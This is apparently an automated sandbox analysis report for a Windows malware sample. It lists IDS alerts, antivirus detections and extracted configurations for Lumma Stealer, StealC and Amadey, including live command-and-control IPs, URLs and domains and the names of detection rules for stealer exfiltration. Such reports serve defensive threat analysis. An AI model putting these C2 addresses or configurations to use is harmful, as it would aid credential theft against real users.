2024-10-30T04:35:45.626748+0100	2044696	1	A Network Trojan was detected	192.168.2.7	49998	185.215.113.43	80	TCP
2024-10-30T04:35:51.178086+0100	2044696	1	A Network Trojan was detected	192.168.2.7	50007	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T04:34:15.269869+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.7	57133	1.1.1.1	53	UDP
2024-10-30T04:35:28.951069+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.7	58497	1.1.1.1	53	UDP
2024-10-30T04:35:44.641866+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.7	59192	1.1.1.1	53	UDP
2024-10-30T04:36:18.757542+0100	2057129	1	Domain Observed Used for C2 Detected	192.168.2.7	63134	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T04:34:15.280297+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.7	63054	1.1.1.1	53	UDP
2024-10-30T04:35:28.963849+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.7	64989	1.1.1.1	53	UDP
2024-10-30T04:35:44.663195+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.7	63562	1.1.1.1	53	UDP
2024-10-30T04:36:18.772105+0100	2057127	1	Domain Observed Used for C2 Detected	192.168.2.7	61518	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T04:34:15.302111+0100	2057123	1	Domain Observed Used for C2 Detected	192.168.2.7	65130	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T04:34:15.254200+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.7	59001	1.1.1.1	53	UDP
2024-10-30T04:35:28.934315+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.7	62650	1.1.1.1	53	UDP
2024-10-30T04:35:44.556382+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.7	58194	1.1.1.1	53	UDP
2024-10-30T04:36:18.711579+0100	2057131	1	Domain Observed Used for C2 Detected	192.168.2.7	57345	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T04:34:15.290869+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.7	57557	1.1.1.1	53	UDP
2024-10-30T04:35:28.978734+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.7	64049	1.1.1.1	53	UDP
2024-10-30T04:35:44.675719+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.7	54720	1.1.1.1	53	UDP
2024-10-30T04:36:18.789293+0100	2057125	1	Domain Observed Used for C2 Detected	192.168.2.7	55101	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T04:34:21.857843+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.7	49731	188.114.97.3	443	TCP
2024-10-30T04:35:41.793065+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.7	49995	188.114.97.3	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T04:35:40.797689+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	49993	185.215.113.206	80	TCP
2024-10-30T04:35:49.670406+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	50001	185.215.113.206	80	TCP
2024-10-30T04:35:57.356539+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	50023	185.215.113.206	80	TCP
2024-10-30T04:36:09.290123+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	50038	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T04:35:17.192389+0100	2856147	1	A Network Trojan was detected	192.168.2.7	49981	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T04:35:29.516836+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.7	49982	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T04:35:20.759073+0100	2803305	3	Unknown Traffic	192.168.2.7	49983	185.215.113.16	80	TCP
2024-10-30T04:35:31.434419+0100	2803305	3	Unknown Traffic	192.168.2.7	49986	185.215.113.16	80	TCP
2024-10-30T04:35:41.270041+0100	2803305	3	Unknown Traffic	192.168.2.7	49994	185.215.113.16	80	TCP
2024-10-30T04:35:46.569894+0100	2803305	3	Unknown Traffic	192.168.2.7	49999	185.215.113.16	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T04:36:00.800231+0100	2843864	1	A Network Trojan was detected	192.168.2.7	50032	188.114.97.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\529CUIG0QU5WLQ1L1F8J4L.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000006.00000002.1666148414.0000000000861000.00000040.00000001.01000000.0000000B.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 34.2.c74ef7bd5d.exe.910000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: file.exe.7416.1.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["fadehairucw.store", "scriptyprefej.store", "thumbystriw.store", "founpiuer.store", "presticitpo.store", "necklacedmny.store", "crisiwarny.store", "navygenerayk.store"], "Build id": "4SD0y4--legendaryy"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\num[1].exe	ReversingLabs: Detection: 95%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1002530001\num.exe	ReversingLabs: Detection: 95%

Multi AV Scanner detection for submitted file

Source: file.exe	Virustotal: Detection: 54%			Perma Link
Source: file.exe	ReversingLabs: Detection: 44%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002528001\c74ef7bd5d.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002529001\9c8810ba8c.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\529CUIG0QU5WLQ1L1F8J4L.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1002530001\num.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\num[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\DXA4CU5W4O4UU0FOG0K6C7EYJEL0.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49984 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49987 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49988 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49989 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49990 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49991 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49995 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49996 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49997 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:50000 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:50004 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:50008 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:50014 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:50018 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:50024 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.7:50026 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:50032 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:50034 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:50043 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:50055 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.7:50056 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:50060 version: TLS 1.2

Source:	Binary string: my_library.pdbU source: c74ef7bd5d.exe, 0000000E.00000002.2202933789.000000000093C000.00000040.00000001.01000000.0000000E.sdmp, c74ef7bd5d.exe, 0000000E.00000003.2160499732.0000000004B3B000.00000004.00001000.00020000.00000000.sdmp, num.exe, 00000027.00000002.2470662469.0000000000F4C000.00000008.00000001.01000000.00000012.sdmp
Source:	Binary string: my_library.pdb source: c74ef7bd5d.exe, 0000000E.00000002.2202933789.000000000093C000.00000040.00000001.01000000.0000000E.sdmp, c74ef7bd5d.exe, 0000000E.00000003.2160499732.0000000004B3B000.00000004.00001000.00020000.00000000.sdmp, num.exe, 00000027.00000002.2470662469.0000000000F4C000.00000008.00000001.01000000.00000012.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe, 00000004.00000003.1566862526.00000000046D0000.00000004.00001000.00020000.00000000.sdmp, APJ029ETDT1OYOUOA0UAFS0WCJF1BV5.exe, 00000004.00000002.1703152835.0000000000EF2000.00000040.00000001.01000000.00000006.sdmp

Source: C:\Users\user\AppData\Local\Temp\1002527001\3cbc500e8f.exe

Directory queried: number of queries: 1538

Source: firefox.exe

Memory has grown: Private usage: 1MB later: 196MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2057123 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store) : 192.168.2.7:65130 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.7:57133 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.7:57557 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.7:63054 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.7:59001 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:49731 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:49703 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:49761 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:49742 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:49709 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:49718 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:49753 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:49775 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.7:49981 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.7:62650 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.7:58497 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.7:64989 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.7:64049 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.7:49982
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:49984 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:49985 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:49988 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:49989 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:49990 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:49991 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:49992 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:49993 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.7:58194 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.7:59192 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.7:54720 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.7:63562 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:49996 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:49997 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:49998 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:50000 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:49995 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:50008 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:50007 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:50014 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:50004 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:50024 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:50034 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:50032 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:50023 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:49987 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:50001 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:50038 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.7:57345 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.7:55101 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.7:63134 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.7:50043 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.7:61518 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49703 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49703 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:49731 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:49709 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49709 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49775 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:49995 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49984 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:49987 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49987 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49984 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49997 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49997 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:50034 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.7:50032 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:50000 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:50000 -> 188.114.97.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor	URLs: fadehairucw.store
Source: Malware configuration extractor	URLs: scriptyprefej.store
Source: Malware configuration extractor	URLs: thumbystriw.store
Source: Malware configuration extractor	URLs: founpiuer.store
Source: Malware configuration extractor	URLs: presticitpo.store
Source: Malware configuration extractor	URLs: necklacedmny.store
Source: Malware configuration extractor	URLs: crisiwarny.store
Source: Malware configuration extractor	URLs: navygenerayk.store
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: unknown

Network traffic detected: DNS query count 33

